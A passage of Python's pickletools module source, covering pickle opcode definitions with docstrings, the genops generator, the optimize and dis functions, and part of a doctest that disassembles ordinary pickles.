or BININT2 saves space. """), I(name='BININT1', code='K', arg=uint1, stack_before=[], stack_after=[pyint], proto=1, doc="""Push a one-byte unsigned integer. This is a space optimization for pickling very small non-negative ints, in range(256). """), I(name='BININT2', code='M', arg=uint2, stack_before=[], stack_after=[pyint], proto=1, doc="""Push a two-byte unsigned integer. This is a space optimization for pickling small positive ints, in range(256, 2*16). Integers in range(256) can also be pickled via BININT2, but BININT1 instead saves a byte. """), I(name='LONG', code='L', arg=decimalnl_long, stack_before=[], stack_after=[pyint], proto=0, doc="""Push a long integer. The same as INT, except that the literal ends with 'L', and always unpickles to a Python long. There doesn't seem a real purpose to the trailing 'L'. Note that LONG takes time quadratic in the number of digits when unpickling (this is simply due to the nature of decimal->binary conversion). Proto 2 added linear-time (in C; still quadratic-time in Python) LONG1 and LONG4 opcodes. """), I(name="LONG1", code='\x8a', arg=long1, stack_before=[], stack_after=[pyint], proto=2, doc="""Long integer using one-byte length. A more efficient encoding of a Python long; the long1 encoding says it all."""), I(name="LONG4", code='\x8b', arg=long4, stack_before=[], stack_after=[pyint], proto=2, doc="""Long integer using found-byte length. A more efficient encoding of a Python long; the long4 encoding says it all."""), # Ways to spell strings (8-bit, not Unicode). I(name='STRING', code='S', arg=stringnl, stack_before=[], stack_after=[pybytes_or_str], proto=0, doc="""Push a Python string object. The argument is a repr-style string, with bracketing quote characters, and perhaps embedded escapes. The argument extends until the next newline character. These are usually decoded into a str instance using the encoding given to the Unpickler constructor. or the default, 'ASCII'. If the encoding given was 'bytes' however, they will be decoded as bytes object instead. """), I(name='BINSTRING', code='T', arg=string4, stack_before=[], stack_after=[pybytes_or_str], proto=1, doc="""Push a Python string object. There are two arguments: the first is a 4-byte little-endian signed int giving the number of bytes in the string, and the second is that many bytes, which are taken literally as the string content. These are usually decoded into a str instance using the encoding given to the Unpickler constructor. or the default, 'ASCII'. If the encoding given was 'bytes' however, they will be decoded as bytes object instead. """), I(name='SHORT_BINSTRING', code='U', arg=string1, stack_before=[], stack_after=[pybytes_or_str], proto=1, doc="""Push a Python string object. There are two arguments: the first is a 1-byte unsigned int giving the number of bytes in the string, and the second is that many bytes, which are taken literally as the string content. These are usually decoded into a str instance using the encoding given to the Unpickler constructor. or the default, 'ASCII'. If the encoding given was 'bytes' however, they will be decoded as bytes object instead. """), # Bytes (protocol 3 only; older protocols don't support bytes at all) I(name='BINBYTES', code='B', arg=bytes4, stack_before=[], stack_after=[pybytes], proto=3, doc="""Push a Python bytes object. There are two arguments: the first is a 4-byte little-endian unsigned int giving the number of bytes, and the second is that many bytes, which are taken literally as the bytes content. """), I(name='SHORT_BINBYTES', code='C', arg=bytes1, stack_before=[], stack_after=[pybytes], proto=3, doc="""Push a Python bytes object. There are two arguments: the first is a 1-byte unsigned int giving the number of bytes, and the second is that many bytes, which are taken literally as the string content. """), I(name='BINBYTES8', code='\x8e', arg=bytes8, stack_before=[], stack_after=[pybytes], proto=4, doc="""Push a Python bytes object. There are two arguments: the first is an 8-byte unsigned int giving the number of bytes in the string, and the second is that many bytes, which are taken literally as the string content. """), # Ways to spell None. I(name='NONE', code='N', arg=None, stack_before=[], stack_after=[pynone], proto=0, doc="Push None on the stack."), # Ways to spell bools, starting with proto 2. See INT for how this was # done before proto 2. I(name='NEWTRUE', code='\x88', arg=None, stack_before=[], stack_after=[pybool], proto=2, doc="Push True onto the stack."), I(name='NEWFALSE', code='\x89', arg=None, stack_before=[], stack_after=[pybool], proto=2, doc="Push False onto the stack."), # Ways to spell Unicode strings. I(name='UNICODE', code='V', arg=unicodestringnl, stack_before=[], stack_after=[pyunicode], proto=0, # this may be pure-text, but it's a later addition doc="""Push a Python Unicode string object. The argument is a raw-unicode-escape encoding of a Unicode string, and so may contain embedded escape sequences. The argument extends until the next newline character. """), I(name='SHORT_BINUNICODE', code='\x8c', arg=unicodestring1, stack_before=[], stack_after=[pyunicode], proto=4, doc="""Push a Python Unicode string object. There are two arguments: the first is a 1-byte little-endian signed int giving the number of bytes in the string. The second is that many bytes, and is the UTF-8 encoding of the Unicode string. """), I(name='BINUNICODE', code='X', arg=unicodestring4, stack_before=[], stack_after=[pyunicode], proto=1, doc="""Push a Python Unicode string object. There are two arguments: the first is a 4-byte little-endian unsigned int giving the number of bytes in the string. The second is that many bytes, and is the UTF-8 encoding of the Unicode string. """), I(name='BINUNICODE8', code='\x8d', arg=unicodestring8, stack_before=[], stack_after=[pyunicode], proto=4, doc="""Push a Python Unicode string object. There are two arguments: the first is an 8-byte little-endian signed int giving the number of bytes in the string. The second is that many bytes, and is the UTF-8 encoding of the Unicode string. """), # Ways to spell floats. I(name='FLOAT', code='F', arg=floatnl, stack_before=[], stack_after=[pyfloat], proto=0, doc="""Newline-terminated decimal float literal. The argument is repr(a_float), and in general requires 17 significant digits for roundtrip conversion to be an identity (this is so for IEEE-754 double precision values, which is what Python float maps to on most boxes). In general, FLOAT cannot be used to transport infinities, NaNs, or minus zero across boxes (or even on a single box, if the platform C library can't read the strings it produces for such things -- Windows is like that), but may do less damage than BINFLOAT on boxes with greater precision or dynamic range than IEEE-754 double. """), I(name='BINFLOAT', code='G', arg=float8, stack_before=[], stack_after=[pyfloat], proto=1, doc="""Float stored in binary form, with 8 bytes of data. This generally requires less than half the space of FLOAT encoding. In general, BINFLOAT cannot be used to transport infinities, NaNs, or minus zero, raises an exception if the exponent exceeds the range of an IEEE-754 double, and retains no more than 53 bits of precision (if there are more than that, "add a half and chop" rounding is used to cut it back to 53 significant bits). """), # Ways to build lists. I(name='EMPTY_LIST', code=']', arg=None, stack_before=[], stack_after=[pylist], proto=1, doc="Push an empty list."), I(name='APPEND', code='a', arg=None, stack_before=[pylist, anyobject], stack_after=[pylist], proto=0, doc="""Append an object to a list. Stack before: ... pylist anyobject Stack after: ... pylist+[anyobject] although pylist is really extended in-place. """), I(name='APPENDS', code='e', arg=None, stack_before=[pylist, markobject, stackslice], stack_after=[pylist], proto=1, doc="""Extend a list by a slice of stack objects. Stack before: ... pylist markobject stackslice Stack after: ... pylist+stackslice although pylist is really extended in-place. """), I(name='LIST', code='l', arg=None, stack_before=[markobject, stackslice], stack_after=[pylist], proto=0, doc="""Build a list out of the topmost stack slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python list, which single list object replaces all of the stack from the topmost markobject onward. For example, Stack before: ... markobject 1 2 3 'abc' Stack after: ... [1, 2, 3, 'abc'] """), # Ways to build tuples. I(name='EMPTY_TUPLE', code=')', arg=None, stack_before=[], stack_after=[pytuple], proto=1, doc="Push an empty tuple."), I(name='TUPLE', code='t', arg=None, stack_before=[markobject, stackslice], stack_after=[pytuple], proto=0, doc="""Build a tuple out of the topmost stack slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python tuple, which single tuple object replaces all of the stack from the topmost markobject onward. For example, Stack before: ... markobject 1 2 3 'abc' Stack after: ... (1, 2, 3, 'abc') """), I(name='TUPLE1', code='\x85', arg=None, stack_before=[anyobject], stack_after=[pytuple], proto=2, doc="""Build a one-tuple out of the topmost item on the stack. This code pops one value off the stack and pushes a tuple of length 1 whose one item is that value back onto it. In other words: stack[-1] = tuple(stack[-1:]) """), I(name='TUPLE2', code='\x86', arg=None, stack_before=[anyobject, anyobject], stack_after=[pytuple], proto=2, doc="""Build a two-tuple out of the top two items on the stack. This code pops two values off the stack and pushes a tuple of length 2 whose items are those values back onto it. In other words: stack[-2:] = [tuple(stack[-2:])] """), I(name='TUPLE3', code='\x87', arg=None, stack_before=[anyobject, anyobject, anyobject], stack_after=[pytuple], proto=2, doc="""Build a three-tuple out of the top three items on the stack. This code pops three values off the stack and pushes a tuple of length 3 whose items are those values back onto it. In other words: stack[-3:] = [tuple(stack[-3:])] """), # Ways to build dicts. I(name='EMPTY_DICT', code='}', arg=None, stack_before=[], stack_after=[pydict], proto=1, doc="Push an empty dict."), I(name='DICT', code='d', arg=None, stack_before=[markobject, stackslice], stack_after=[pydict], proto=0, doc="""Build a dict out of the topmost stack slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python dict, which single dict object replaces all of the stack from the topmost markobject onward. The stack slice alternates key, value, key, value, .... For example, Stack before: ... markobject 1 2 3 'abc' Stack after: ... {1: 2, 3: 'abc'} """), I(name='SETITEM', code='s', arg=None, stack_before=[pydict, anyobject, anyobject], stack_after=[pydict], proto=0, doc="""Add a key+value pair to an existing dict. Stack before: ... pydict key value Stack after: ... pydict where pydict has been modified via pydict[key] = value. """), I(name='SETITEMS', code='u', arg=None, stack_before=[pydict, markobject, stackslice], stack_after=[pydict], proto=1, doc="""Add an arbitrary number of key+value pairs to an existing dict. The slice of the stack following the topmost markobject is taken as an alternating sequence of keys and values, added to the dict immediately under the topmost markobject. Everything at and after the topmost markobject is popped, leaving the mutated dict at the top of the stack. Stack before: ... pydict markobject key_1 value_1 ... key_n value_n Stack after: ... pydict where pydict has been modified via pydict[key_i] = value_i for i in 1, 2, ..., n, and in that order. """), # Ways to build sets I(name='EMPTY_SET', code='\x8f', arg=None, stack_before=[], stack_after=[pyset], proto=4, doc="Push an empty set."), I(name='ADDITEMS', code='\x90', arg=None, stack_before=[pyset, markobject, stackslice], stack_after=[pyset], proto=4, doc="""Add an arbitrary number of items to an existing set. The slice of the stack following the topmost markobject is taken as a sequence of items, added to the set immediately under the topmost markobject. Everything at and after the topmost markobject is popped, leaving the mutated set at the top of the stack. Stack before: ... pyset markobject item_1 ... item_n Stack after: ... pyset where pyset has been modified via pyset.add(item_i) = item_i for i in 1, 2, ..., n, and in that order. """), # Way to build frozensets I(name='FROZENSET', code='\x91', arg=None, stack_before=[markobject, stackslice], stack_after=[pyfrozenset], proto=4, doc="""Build a frozenset out of the topmost slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python frozenset, which single frozenset object replaces all of the stack from the topmost markobject onward. For example, Stack before: ... markobject 1 2 3 Stack after: ... frozenset({1, 2, 3}) """), # Stack manipulation. I(name='POP', code='0', arg=None, stack_before=[anyobject], stack_after=[], proto=0, doc="Discard the top stack item, shrinking the stack by one item."), I(name='DUP', code='2', arg=None, stack_before=[anyobject], stack_after=[anyobject, anyobject], proto=0, doc="Push the top stack item onto the stack again, duplicating it."), I(name='MARK', code='(', arg=None, stack_before=[], stack_after=[markobject], proto=0, doc="""Push markobject onto the stack. markobject is a unique object, used by other opcodes to identify a region of the stack containing a variable number of objects for them to work on. See markobject.doc for more detail. """), I(name='POP_MARK', code='1', arg=None, stack_before=[markobject, stackslice], stack_after=[], proto=1, doc="""Pop all the stack objects at and above the topmost markobject. When an opcode using a variable number of stack objects is done, POP_MARK is used to remove those objects, and to remove the markobject that delimited their starting position on the stack. """), # Memo manipulation. There are really only two operations (get and put), # each in all-text, "short binary", and "long binary" flavors. I(name='GET', code='g', arg=decimalnl_short, stack_before=[], stack_after=[anyobject], proto=0, doc="""Read an object from the memo and push it on the stack. The index of the memo object to push is given by the newline-terminated decimal string following. BINGET and LONG_BINGET are space-optimized versions. """), I(name='BINGET', code='h', arg=uint1, stack_before=[], stack_after=[anyobject], proto=1, doc="""Read an object from the memo and push it on the stack. The index of the memo object to push is given by the 1-byte unsigned integer following. """), I(name='LONG_BINGET', code='j', arg=uint4, stack_before=[], stack_after=[anyobject], proto=1, doc="""Read an object from the memo and push it on the stack. The index of the memo object to push is given by the 4-byte unsigned little-endian integer following. """), I(name='PUT', code='p', arg=decimalnl_short, stack_before=[], stack_after=[], proto=0, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write into is given by the newline- terminated decimal string following. BINPUT and LONG_BINPUT are space-optimized versions. """), I(name='BINPUT', code='q', arg=uint1, stack_before=[], stack_after=[], proto=1, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write into is given by the 1-byte unsigned integer following. """), I(name='LONG_BINPUT', code='r', arg=uint4, stack_before=[], stack_after=[], proto=1, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write into is given by the 4-byte unsigned little-endian integer following. """), I(name='MEMOIZE', code='\x94', arg=None, stack_before=[anyobject], stack_after=[anyobject], proto=4, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write is the number of elements currently present in the memo. """), # Access the extension registry (predefined objects). Akin to the GET # family. I(name='EXT1', code='\x82', arg=uint1, stack_before=[], stack_after=[anyobject], proto=2, doc="""Extension code. This code and the similar EXT2 and EXT4 allow using a registry of popular objects that are pickled by name, typically classes. It is envisioned that through a global negotiation and registration process, third parties can set up a mapping between ints and object names. In order to guarantee pickle interchangeability, the extension code registry ought to be global, although a range of codes may be reserved for private use. EXT1 has a 1-byte integer argument. This is used to index into the extension registry, and the object at that index is pushed on the stack. """), I(name='EXT2', code='\x83', arg=uint2, stack_before=[], stack_after=[anyobject], proto=2, doc="""Extension code. See EXT1. EXT2 has a two-byte integer argument. """), I(name='EXT4', code='\x84', arg=int4, stack_before=[], stack_after=[anyobject], proto=2, doc="""Extension code. See EXT1. EXT4 has a four-byte integer argument. """), # Push a class object, or module function, on the stack, via its module # and name. I(name='GLOBAL', code='c', arg=stringnl_noescape_pair, stack_before=[], stack_after=[anyobject], proto=0, doc="""Push a global object (module.attr) on the stack. Two newline-terminated strings follow the GLOBAL opcode. The first is taken as a module name, and the second as a class name. The class object module.class is pushed on the stack. More accurately, the object returned by self.find_class(module, class) is pushed on the stack, so unpickling subclasses can override this form of lookup. """), I(name='STACK_GLOBAL', code='\x93', arg=None, stack_before=[pyunicode, pyunicode], stack_after=[anyobject], proto=4, doc="""Push a global object (module.attr) on the stack. """), # Ways to build objects of classes pickle doesn't know about directly # (user-defined classes). I despair of documenting this accurately # and comprehensibly -- you really have to read the pickle code to # find all the special cases. I(name='REDUCE', code='R', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Push an object built from a callable and an argument tuple. The opcode is named to remind of the __reduce__() method. Stack before: ... callable pytuple Stack after: ... callable(pytuple) The callable and the argument tuple are the first two items returned by a __reduce__ method. Applying the callable to the argtuple is supposed to reproduce the original object, or at least get it started. If the __reduce__ method returns a 3-tuple, the last component is an argument to be passed to the object's __setstate__, and then the REDUCE opcode is followed by code to create setstate's argument, and then a BUILD opcode to apply __setstate__ to that argument. If not isinstance(callable, type), REDUCE complains unless the callable has been registered with the copyreg module's safe_constructors dict, or the callable has a magic '__safe_for_unpickling__' attribute with a true value. I'm not sure why it does this, but I've sure seen this complaint often enough when I didn't want to <wink>. """), I(name='BUILD', code='b', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Finish building an object, via __setstate__ or dict update. Stack before: ... anyobject argument Stack after: ... anyobject where anyobject may have been mutated, as follows: If the object has a __setstate__ method, anyobject.__setstate__(argument) is called. Else the argument must be a dict, the object must have a __dict__, and the object is updated via anyobject.__dict__.update(argument) """), I(name='INST', code='i', arg=stringnl_noescape_pair, stack_before=[markobject, stackslice], stack_after=[anyobject], proto=0, doc="""Build a class instance. This is the protocol 0 version of protocol 1's OBJ opcode. INST is followed by two newline-terminated strings, giving a module and class name, just as for the GLOBAL opcode (and see GLOBAL for more details about that). self.find_class(module, name) is used to get a class object. In addition, all the objects on the stack following the topmost markobject are gathered into a tuple and popped (along with the topmost markobject), just as for the TUPLE opcode. Now it gets complicated. If all of these are true: + The argtuple is empty (markobject was at the top of the stack at the start). + The class object does not have a __getinitargs__ attribute. then we want to create an old-style class instance without invoking its __init__() method (pickle has waffled on this over the years; not calling __init__() is current wisdom). In this case, an instance of an old-style dummy class is created, and then we try to rebind its __class__ attribute to the desired class object. If this succeeds, the new instance object is pushed on the stack, and we're done. Else (the argtuple is not empty, it's not an old-style class object, or the class object does have a __getinitargs__ attribute), the code first insists that the class object have a __safe_for_unpickling__ attribute. Unlike as for the __safe_for_unpickling__ check in REDUCE, it doesn't matter whether this attribute has a true or false value, it only matters whether it exists (XXX this is a bug). If __safe_for_unpickling__ doesn't exist, UnpicklingError is raised. Else (the class object does have a __safe_for_unpickling__ attr), the class object obtained from INST's arguments is applied to the argtuple obtained from the stack, and the resulting instance object is pushed on the stack. NOTE: checks for __safe_for_unpickling__ went away in Python 2.3. NOTE: the distinction between old-style and new-style classes does not make sense in Python 3. """), I(name='OBJ', code='o', arg=None, stack_before=[markobject, anyobject, stackslice], stack_after=[anyobject], proto=1, doc="""Build a class instance. This is the protocol 1 version of protocol 0's INST opcode, and is very much like it. The major difference is that the class object is taken off the stack, allowing it to be retrieved from the memo repeatedly if several instances of the same class are created. This can be much more efficient (in both time and space) than repeatedly embedding the module and class names in INST opcodes. Unlike INST, OBJ takes no arguments from the opcode stream. Instead the class object is taken off the stack, immediately above the topmost markobject: Stack before: ... markobject classobject stackslice Stack after: ... new_instance_object As for INST, the remainder of the stack above the markobject is gathered into an argument tuple, and then the logic seems identical, except that no __safe_for_unpickling__ check is done (XXX this is a bug). See INST for the gory details. NOTE: In Python 2.3, INST and OBJ are identical except for how they get the class object. That was always the intent; the implementations had diverged for accidental reasons. """), I(name='NEWOBJ', code='\x81', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=2, doc="""Build an object instance. The stack before should be thought of as containing a class object followed by an argument tuple (the tuple being the stack top). Call these cls and args. They are popped off the stack, and the value returned by cls.__new__(cls, args) is pushed back onto the stack. """), I(name='NEWOBJ_EX', code='\x92', arg=None, stack_before=[anyobject, anyobject, anyobject], stack_after=[anyobject], proto=4, doc="""Build an object instance. The stack before should be thought of as containing a class object followed by an argument tuple and by a keyword argument dict (the dict being the stack top). Call these cls and args. They are popped off the stack, and the value returned by cls.__new__(cls, args, kwargs) is pushed back onto the stack. """), # Machine control. I(name='PROTO', code='\x80', arg=uint1, stack_before=[], stack_after=[], proto=2, doc="""Protocol version indicator. For protocol 2 and above, a pickle must start with this opcode. The argument is the protocol version, an int in range(2, 256). """), I(name='STOP', code='.', arg=None, stack_before=[anyobject], stack_after=[], proto=0, doc="""Stop the unpickling machine. Every pickle ends with this opcode. The object at the top of the stack is popped, and that's the result of unpickling. The stack should be empty then. """), # Framing support. I(name='FRAME', code='\x95', arg=uint8, stack_before=[], stack_after=[], proto=4, doc="""Indicate the beginning of a new frame. The unpickler may use this opcode to safely prefetch data from its underlying stream. """), # Ways to deal with persistent IDs. I(name='PERSID', code='P', arg=stringnl_noescape, stack_before=[], stack_after=[anyobject], proto=0, doc="""Push an object identified by a persistent ID. The pickle module doesn't define what a persistent ID means. PERSID's argument is a newline-terminated str-style (no embedded escapes, no bracketing quote characters) string, which is* "the persistent ID". The unpickler passes this string to self.persistent_load(). Whatever object that returns is pushed on the stack. There is no implementation of persistent_load() in Python's unpickler: it must be supplied by an unpickler subclass. """), I(name='BINPERSID', code='Q', arg=None, stack_before=[anyobject], stack_after=[anyobject], proto=1, doc="""Push an object identified by a persistent ID. Like PERSID, except the persistent ID is popped off the stack (instead of being a string embedded in the opcode bytestream). The persistent ID is passed to self.persistent_load(), and whatever object that returns is pushed on the stack. See PERSID for more detail. """), ] del I # Verify uniqueness of .name and .code members. name2i = {} code2i = {} for i, d in enumerate(opcodes): if d.name in name2i: raise ValueError("repeated name %r at indices %d and %d" % (d.name, name2i[d.name], i)) if d.code in code2i: raise ValueError("repeated code %r at indices %d and %d" % (d.code, code2i[d.code], i)) name2i[d.name] = i code2i[d.code] = i del name2i, code2i, i, d ############################################################################## # Build a code2op dict, mapping opcode characters to OpcodeInfo records. # Also ensure we've got the same stuff as pickle.py, although the # introspection here is dicey. code2op = {} for d in opcodes: code2op[d.code] = d del d def assure_pickle_consistency(verbose=False): copy = code2op.copy() for name in pickle.__all__: if not re.match("[A-Z][A-Z0-9_]+$", name): if verbose: print("skipping %r: it doesn't look like an opcode name" % name) continue picklecode = getattr(pickle, name) if not isinstance(picklecode, bytes) or len(picklecode) != 1: if verbose: print(("skipping %r: value %r doesn't look like a pickle " "code" % (name, picklecode))) continue picklecode = picklecode.decode("latin-1") if picklecode in copy: if verbose: print("checking name %r w/ code %r for consistency" % ( name, picklecode)) d = copy[picklecode] if d.name != name: raise ValueError("for pickle code %r, pickle.py uses name %r " "but we're using name %r" % (picklecode, name, d.name)) # Forget this one. Any left over in copy at the end are a problem # of a different kind. del copy[picklecode] else: raise ValueError("pickle.py appears to have a pickle opcode with " "name %r and code %r, but we don't" % (name, picklecode)) if copy: msg = ["we appear to have pickle opcodes that pickle.py doesn't have:"] for code, d in copy.items(): msg.append(" name %r with code %r" % (d.name, code)) raise ValueError("\n".join(msg)) assure_pickle_consistency() del assure_pickle_consistency ############################################################################## # A pickle opcode generator. def _genops(data, yield_end_pos=False): if isinstance(data, bytes_types): data = io.BytesIO(data) if hasattr(data, "tell"): getpos = data.tell else: getpos = lambda: None while True: pos = getpos() code = data.read(1) opcode = code2op.get(code.decode("latin-1")) if opcode is None: if code == b"": raise ValueError("pickle exhausted before seeing STOP") else: raise ValueError("at position %s, opcode %r unknown" % ( "<unknown>" if pos is None else pos, code)) if opcode.arg is None: arg = None else: arg = opcode.arg.reader(data) if yield_end_pos: yield opcode, arg, pos, getpos() else: yield opcode, arg, pos if code == b'.': assert opcode.name == 'STOP' break def genops(pickle): """Generate all the opcodes in a pickle. 'pickle' is a file-like object, or string, containing the pickle. Each opcode in the pickle is generated, from the current pickle position, stopping after a STOP opcode is delivered. A triple is generated for each opcode: opcode, arg, pos opcode is an OpcodeInfo record, describing the current opcode. If the opcode has an argument embedded in the pickle, arg is its decoded value, as a Python object. If the opcode doesn't have an argument, arg is None. If the pickle has a tell() method, pos was the value of pickle.tell() before reading the current opcode. If the pickle is a bytes object, it's wrapped in a BytesIO object, and the latter's tell() result is used. Else (the pickle doesn't have a tell(), and it's not obvious how to query its current position) pos is None. """ return _genops(pickle) ############################################################################## # A pickle optimizer. def optimize(p): 'Optimize a pickle string by removing unused PUT opcodes' put = 'PUT' get = 'GET' oldids = set() # set of all PUT ids newids = {} # set of ids used by a GET opcode opcodes = [] # (op, idx) or (pos, end_pos) proto = 0 protoheader = b'' for opcode, arg, pos, end_pos in _genops(p, yield_end_pos=True): if 'PUT' in opcode.name: oldids.add(arg) opcodes.append((put, arg)) elif opcode.name == 'MEMOIZE': idx = len(oldids) oldids.add(idx) opcodes.append((put, idx)) elif 'FRAME' in opcode.name: pass elif 'GET' in opcode.name: if opcode.proto > proto: proto = opcode.proto newids[arg] = None opcodes.append((get, arg)) elif opcode.name == 'PROTO': if arg > proto: proto = arg if pos == 0: protoheader = p[pos:end_pos] else: opcodes.append((pos, end_pos)) else: opcodes.append((pos, end_pos)) del oldids # Copy the opcodes except for PUTS without a corresponding GET out = io.BytesIO() # Write the PROTO header before any framing out.write(protoheader) pickler = pickle._Pickler(out, proto) if proto >= 4: pickler.framer.start_framing() idx = 0 for op, arg in opcodes: frameless = False if op is put: if arg not in newids: continue data = pickler.put(idx) newids[arg] = idx idx += 1 elif op is get: data = pickler.get(newids[arg]) else: data = p[op:arg] frameless = len(data) > pickler.framer._FRAME_SIZE_TARGET pickler.framer.commit_frame(force=frameless) if frameless: pickler.framer.file_write(data) else: pickler.write(data) pickler.framer.end_framing() return out.getvalue() ############################################################################## # A symbolic pickle disassembler. def dis(pickle, out=None, memo=None, indentlevel=4, annotate=0): """Produce a symbolic disassembly of a pickle. 'pickle' is a file-like object, or string, containing a (at least one) pickle. The pickle is disassembled from the current position, through the first STOP opcode encountered. Optional arg 'out' is a file-like object to which the disassembly is printed. It defaults to sys.stdout. Optional arg 'memo' is a Python dict, used as the pickle's memo. It may be mutated by dis(), if the pickle contains PUT or BINPUT opcodes. Passing the same memo object to another dis() call then allows disassembly to proceed across multiple pickles that were all created by the same pickler with the same memo. Ordinarily you don't need to worry about this. Optional arg 'indentlevel' is the number of blanks by which to indent a new MARK level. It defaults to 4. Optional arg 'annotate' if nonzero instructs dis() to add short description of the opcode on each line of disassembled output. The value given to 'annotate' must be an integer and is used as a hint for the column where annotation should start. The default value is 0, meaning no annotations. In addition to printing the disassembly, some sanity checks are made: + All embedded opcode arguments "make sense". + Explicit and implicit pop operations have enough items on the stack. + When an opcode implicitly refers to a markobject, a markobject is actually on the stack. + A memo entry isn't referenced before it's defined. + The markobject isn't stored in the memo. + A memo entry isn't redefined. """ # Most of the hair here is for sanity checks, but most of it is needed # anyway to detect when a protocol 0 POP takes a MARK off the stack # (which in turn is needed to indent MARK blocks correctly). stack = [] # crude emulation of unpickler stack if memo is None: memo = {} # crude emulation of unpickler memo maxproto = -1 # max protocol number seen markstack = [] # bytecode positions of MARK opcodes indentchunk = ' ' * indentlevel errormsg = None annocol = annotate # column hint for annotations for opcode, arg, pos in genops(pickle): if pos is not None: print("%5d:" % pos, end=' ', file=out) line = "%-4s %s%s" % (repr(opcode.code)[1:-1], indentchunk * len(markstack), opcode.name) maxproto = max(maxproto, opcode.proto) before = opcode.stack_before # don't mutate after = opcode.stack_after # don't mutate numtopop = len(before) # See whether a MARK should be popped. markmsg = None if markobject in before or (opcode.name == "POP" and stack and stack[-1] is markobject): assert markobject not in after if __debug__: if markobject in before: assert before[-1] is stackslice if markstack: markpos = markstack.pop() if markpos is None: markmsg = "(MARK at unknown opcode offset)" else: markmsg = "(MARK at %d)" % markpos # Pop everything at and after the topmost markobject. while stack[-1] is not markobject: stack.pop() stack.pop() # Stop later code from popping too much. try: numtopop = before.index(markobject) except ValueError: assert opcode.name == "POP" numtopop = 0 else: errormsg = markmsg = "no MARK exists on stack" # Check for correct memo usage. if opcode.name in ("PUT", "BINPUT", "LONG_BINPUT", "MEMOIZE"): if opcode.name == "MEMOIZE": memo_idx = len(memo) markmsg = "(as %d)" % memo_idx else: assert arg is not None memo_idx = arg if memo_idx in memo: errormsg = "memo key %r already defined" % arg elif not stack: errormsg = "stack is empty -- can't store into memo" elif stack[-1] is markobject: errormsg = "can't store markobject in the memo" else: memo[memo_idx] = stack[-1] elif opcode.name in ("GET", "BINGET", "LONG_BINGET"): if arg in memo: assert len(after) == 1 after = [memo[arg]] # for better stack emulation else: errormsg = "memo key %r has never been stored into" % arg if arg is not None or markmsg: # make a mild effort to align arguments line += ' ' * (10 - len(opcode.name)) if arg is not None: line += ' ' + repr(arg) if markmsg: line += ' ' + markmsg if annotate: line += ' ' * (annocol - len(line)) # make a mild effort to align annotations annocol = len(line) if annocol > 50: annocol = annotate line += ' ' + opcode.doc.split('\n', 1)[0] print(line, file=out) if errormsg: # Note that we delayed complaining until the offending opcode # was printed. raise ValueError(errormsg) # Emulate the stack effects. if len(stack) < numtopop: raise ValueError("tries to pop %d items from stack with " "only %d items" % (numtopop, len(stack))) if numtopop: del stack[-numtopop:] if markobject in after: assert markobject not in before markstack.append(pos) stack.extend(after) print("highest protocol among opcodes =", maxproto, file=out) if stack: raise ValueError("stack not empty after STOP: %r" % stack) # For use in the doctest, simply as an example of a class to pickle. class _Example: def __init__(self, value): self.value = value _dis_test = r""" >>> import pickle >>> x = [1, 2, (3, 4), {b'abc': "def"}] >>> pkl0 = pickle.dumps(x, 0) >>> dis(pkl0) 0: ( MARK 1: l LIST (MARK at 0) 2: p PUT 0 5: I INT 1 8: a APPEND 9: I INT 2 12: a APPEND 13: ( MARK 14: I INT 3 17: I INT 4 20: t TUPLE (MARK at 13) 21: p PUT 1 24: a APPEND 25: ( MARK 26: d DICT (MARK at 25) 27: p PUT 2 30: c GLOBAL '_codecs encode' 46: p PUT 3 49: ( MARK 50: V UNICODE 'abc' 55: p PUT 4 58: V UNICODE 'latin1' 66: p PUT 5 69: t TUPLE (MARK at 49) 70: p PUT 6 73: R REDUCE 74: p PUT 7 77: V UNICODE 'def' 82: p PUT 8 85: s SETITEM 86: a APPEND 87: . STOP highest protocol among opcodes = 0 Try again with a "binary" pickle. >>> pkl1 = pickle.dumps(x, 1) >>> dis(pkl1) 0: ] EMPTY_LIST 1: q BINPUT 0 3: ( MARK 4: K BININT1 1 6: K BININT1 2 8: ( MARK 9: K BININT1 3 11: K BININT1 4 13: t TUPLE (MARK at 8) 14: q BINPUT 1 16: } EMPTY_DICT 17: q BINPUT 2 19: c GLOBAL '_codecs encode' 35: q BINPUT 3 37: ( MARK 38: X BINUNICODE 'abc' 46: q BINPUT 4 48: X BINUNICODE 'latin1' 59: q BINPUT 5 61: t TUPLE (MARK at 37) 62: q BINPUT 6 64: R REDUCE 65: q BINPUT 7 67: X BINUNICODE 'def' 75: q BINPUT 8 77: s SETITEM 78: e APPENDS (MARK at 3) 79: . STOP highest protocol among opcodes = 1 Exercise the INST/OBJ/BUILD family. >>> import pickletools >>> dis(pickle.dumps(pickletools.dis, 0)) 0: c GLOBAL 'pickletools dis' 17: p PUT 0 20: . STOP highest protocol among opcodes = 0 >>> from pickletools import _Example >>> x = [_Example(42)] * 2 >>> dis(pickle.dumps(x, 0)) 0: ( MARK 1: l LIST (MARK at 0) 2: p PUT 0 5: c GLOBAL 'copy_reg _reconstructor' 30: p PUT 1 33: ( MARK 34: c GLOBAL 'pickletools _Example' 56: p PUT 2 59: c GLOBAL '__builtin__ object' 79: p PUT 3 82: N NONE 83: t TUPLE (MARK at 33) 84: p PUT 4 87: R REDUCE 88: p PUT 5 91: ( MARK 92: d DICT (MARK at 91) 93: p PUT 6 96: V UNICODE 'value' 103: p PUT 7 106: I INT 42 110: s SETITEM 111: b BUILD 112: a APPEND 113: g GET 5 116: a APPEND 117: . STOP highest protocol among opcodes = 0 >>> dis(pickle.dumps(x, 1)) 0: ] EMPTY_LIST 1: q BINPUT 0 3: ( MARK 4: c GLOBAL 'copy_reg _reconstructor' 29: q BINPUT 1 31: ( MARK 32: c GLOBAL 'pickletools _Example' 54: q BINPUT 2 56: c GLOBAL '__builtin__ object' 76: q BINPUT 3 78: N NONE 79: t TUPLE (MARK at 31) 80: q BINPUT 4 82: R REDUCE 83: q BINPUT 5 85: } EMPTY_DICT 86: q BINPUT 6 88: X BINUNICODE 